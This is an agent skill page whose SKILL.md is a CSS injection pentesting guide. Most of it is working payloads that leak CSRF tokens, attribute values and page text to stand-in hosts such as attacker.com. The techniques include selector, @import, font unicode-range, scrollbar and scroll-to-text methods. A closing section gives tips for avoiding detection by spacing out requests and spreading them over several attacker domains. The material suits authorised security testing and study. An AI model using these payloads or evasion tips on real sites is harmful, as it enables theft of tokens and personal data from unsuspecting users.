Skip to main content

css-injection-pentest

CSS injection attack techniques for web security testing. Use this skill whenever the user mentions CSS injection, style injection, attribute exfiltration, blind CSS attacks, @import exfiltration, unicode-range attacks, font-based data leakage, or any CSS-based information disclosure. Trigger for pentesting tasks involving CSS vulnerabilities, XSS search via CSS, or data exfiltration through style attributes. Make sure to use this skill for any web security assessment where CSS injection vectors are suspected or confirmed.

Source facts

Repository
abelrguezr/hacktricks-skills
Last source activity
March 23, 2026 at 14:29
Detected SKILL.md language
English
Stars
22
Forks
9

Install options

The review-first prompt is selected by default. You can switch to a direct command or download a local copy.

Review the source files

Read SKILL.md and any companion files shown by SkillsMP before deciding whether to install.

Showing SKILL.md

SKILL.md
Source instructions · Read-only preview
name
css-injection-pentest
description
CSS injection attack techniques for web security testing. Use this skill whenever the user mentions CSS injection, style injection, attribute exfiltration, blind CSS attacks, @import exfiltration, unicode-range attacks, font-based data leakage, or any CSS-based information disclosure. Trigger for pentesting tasks involving CSS vulnerabilities, XSS search via CSS, or data exfiltration through style attributes. Make sure to use this skill for any web security assessment where CSS injection vectors are suspected or confirmed.
# CSS Injection Pentesting A comprehensive guide to CSS injection attack techniques for web security assessments. ## When to Use This Skill Use this skill when: - You've identified a CSS injection vulnerability in a web application - You need to exfiltrate data through CSS selectors and properties - You're performing XSS search (XS-Search) using CSS techniques - You need to enumerate hidden form fields, tokens, or sensitive data - You're testing for blind CSS exfiltration scenarios - You need to leverage CSS primitives for information disclosure ## Prerequisites Before attempting CSS injection attacks, verify: 1. **Payload Length**: The injection vector must support sufficiently long payloads 2. **CSS Re-evaluation**: Ability to trigger CSS re-evaluation (often requires framing the page) 3. **External Resources**: Ability to load external images/resources (check CSP restrictions) 4. **Browser Support**: Some techniques require specific browser features (e.g., `if()`, `:has`) --- ## Technique 1: Attribute Selector Exfiltration Extract data from input element attributes using CSS selectors. ### Basic Pattern ```css input[name="csrf"][value^="a"] { background-image: url(https://attacker.com/exfil/a); } input[name="csrf"][value^="b"] { background-image: url(https://attacker.com/exfil/b); } /* Repeat for all characters: 0-9, a-z, A-Z, special chars */ ``` ### Bypass for Hidden Elements Hidden inputs don't load backgrounds. Use the general sibling combinator: ```css input[name="csrf"][value^="csrF"] ~ * { background-image: url(https://attacker.com/exfil/csrF); } ``` **How it works**: Targets any element following the hidden input, triggering the background load. ### Blind Attribute Selector with `:has` and `:not` For blind pages where you don't know the DOM structure: ```css html:has(input[name^="m"]):not(input[name="mytoken"]) { background: url(/m); } ``` This identifies content even from blind elements by combining `:has` and `:not` selectors. --- ## Technique 2: @import Chained Exfiltration Advanced technique by Pepe Vila that loads the page once and chains exfiltration through `@import`. ### Payload Structure ```css @import url("//attacker.com:5001/start?"); ``` ### Attack Flow 1. Victim loads page with `@import` to attacker server 2. Attacker sends CSS with: - Another `@import` (held pending) - Attribute selector payload to leak first/last character 3. Attacker receives first/last char, responds to pending `@import` 4. Repeat for second/penultimate character 5. Continue until full secret is leaked ### Key Advantages - Only one initial payload needed - No need to send multiple links to victim - No iframe requirement - Leaks 2 characters per iteration (prefix + suffix) ### Selector Patterns ```css /* Match beginning of value */ input[value^="0"] { --s0: url(http://localhost:5001/leak?pre=0); } /* Match end of value */ input[value$="f"] { --e0: url(http://localhost:5001/leak?post=f); } ``` --- ## Technique 3: Inline-Style CSS Exfiltration Exfiltrate data using only an element's inline style attribute. Requires Chromium-based browsers. ### Prerequisites - Control over an element's `style` attribute - Target attribute must be on the same element (`attr()` reads only same-element attributes) - Browser supports CSS `if()` conditionals ### Basic Pattern ```html <div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"> test </div> ``` ### Critical Notes - **Double quotes required** in `if()` comparisons (single quotes won't match) - Works best for finite/enumerable value spaces (IDs, flags, short usernames) - Any CSS property that fetches URLs can trigger the request: - `background` / `image-set` - `border-image` - `list-style` - `cursor` - `content` ### Enumerating Values ```html <div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: url(/4)))); background: image-set(var(--steal));' data-uid='1'></div> ``` --- ## Technique 4: @font-face with unicode-range Extract text content by loading fonts only for specific Unicode characters present in the page. ### Basic Pattern ```css @font-face { font-family: poc; src: url(http://attacker.example.com/?A); unicode-range: U+0041; } @font-face { font-family: poc; src: url(http://attacker.example.com/?B); unicode-range: U+0042; } @font-face { font-family: poc; src: url(http://attacker.example.com/?C); unicode-range: U+0043; } #sensitive-information { font-family: poc; } ``` **Result**: If text contains "AB", only `?A` and `?B` are fetched. `?C` is not loaded. ### Error-Based XS-Search Use `@font-face` to detect resource availability: ```html <style> @font-face { font-family: poc; src: url(http://attacker.com/?leak); unicode-range: U+0041; } #poc0 { font-family: "poc"; } </style> <object id="poc0" data="http://192.168.0.1/favicon.ico">A</object> ``` **How it works**: If `favicon.ico` fails to load, fallback text "A" is displayed using the custom font, triggering the leak request. --- ## Technique 5: Text Node Exfiltration with Default Fonts Leak charset using pre-installed fonts (no external assets required). ### Comic Sans Height Trick Comic Sans is taller than default fonts. Use this to trigger scrollbars: ```css @font-face { font-family: has_A; src: local("Comic Sans MS"); unicode-range: U+41; font-style: monospace; } /* Repeat for all characters */ @font-face { font-family: rest; src: local("Courier New"); font-style: monospace; unicode-range: U+0-10FFFF; } div.leak { overflow-y: auto; overflow-x: hidden; height: 40px; font-size: 0px; font-family: rest; width: 0px; animation: loop step-end 200s 0s, trychar step-end 2s 0s; animation-iteration-count: 1, infinite; } div.leak::first-line { font-size: 30px; text-transform: uppercase; } @keyframes trychar { 5% { font-family: has_A, rest; --leak: url(?a); } /* Repeat for all characters */ } @keyframes loop { 0% { width: 0px; } 1% { width: 20px; } /* Increment width to expose characters one at a time */ } div::-webkit-scrollbar:vertical { background: blue var(--leak); } ``` **How it works**: 1. Animation expands div width, moving characters from suffix to prefix 2. When a character enters prefix, trychar animation tests if it matches 3. If match, Comic Sans is applied, making text taller 4. Vertical scrollbar appears, triggering the leak URL --- ## Technique 6: Scroll-to-Text Fragment Exploit the `:target` pseudo-class with Scroll-to-text fragments. ### Payload ```css :target::before { content: url(http://attackers-domain/?confirmed_existence_of_Administrator_username); } ``` ### Attack URL ``` http://target.com/page?note=<style>:target::before{content:url(http://attacker/?leak)}</style>#:~:text=Administrator ``` **How it works**: If "Administrator" exists on the page, the fragment targets it, triggering the CSS rule and loading the attacker's resource. ### Limitations - Only matches words/sentences (not arbitrary secrets) - Works only in top-level browsing contexts (not iframes) - Requires user activation (clicking the link) --- ## Technique 7: Ligature-Based Exfiltration Extract text by exploiting font ligatures and width changes. ### Process 1. **Create SVG fonts** with glyphs having large `horiz-adv-x` for character pairs: ```xml <glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/> ``` 2. **Detect width changes** via scrollbar: ```css body { white-space: nowrap; } body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); } ``` 3. **Iterative process**: - Detect 2-character ligatures - Generate 3-character ligatures with detected pair - Repeat until full text is revealed --- ## Technique 8: Other CSS Selectors Additional selectors for DOM access: ### nth-child ```css .class-to-search:nth-child(2) { background-image: url(http://attacker.com/?second); } ``` ### :empty Selector ```css [role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); } ``` --- ## Practical Considerations ### CSP Bypasses - Check if `unsafe-inline` is allowed - Look for `style-src` that permits external resources - Test if `font-src` allows external fonts - Verify `img-src` for background image loading ### Browser Compatibility | Technique | Chrome | Firefox | Safari | |-----------|--------|---------|--------| | Attribute selectors | ✓ | ✓ | ✓ | | `:has` selector | ✓ | ✓ | ✓ | | `if()` conditionals | ✓ | ✗ | ✗ | | `@import` chaining | ✓ | ✓ | ✓ | | `unicode-range` | ✓ | ✓ | ✓ | | Scroll-to-text | ✓ | ✓ | ✓ | ### Rate Limiting - Space out requests to avoid detection - Use multiple attacker domains - Implement delays between character leaks --- ## References - [PortSwigger: Inline Style Exfiltration](https://portswigger.net/research/inline-style-exfiltration) - [Pepe Vila: CSS Injection Attacks](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) - [Blind CSS Exfiltration Tool](https://github.com/hackvertor/blind-css-exfiltration) - [MDN: CSS if() conditional](https://developer.mozilla.org/en-US/docs/Web/CSS/if) - [MDN: CSS attr() function](https://developer.mozilla.org/en-US/docs/Web/CSS/attr) - [Scroll-to-text Fragment Security](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
View on GitHub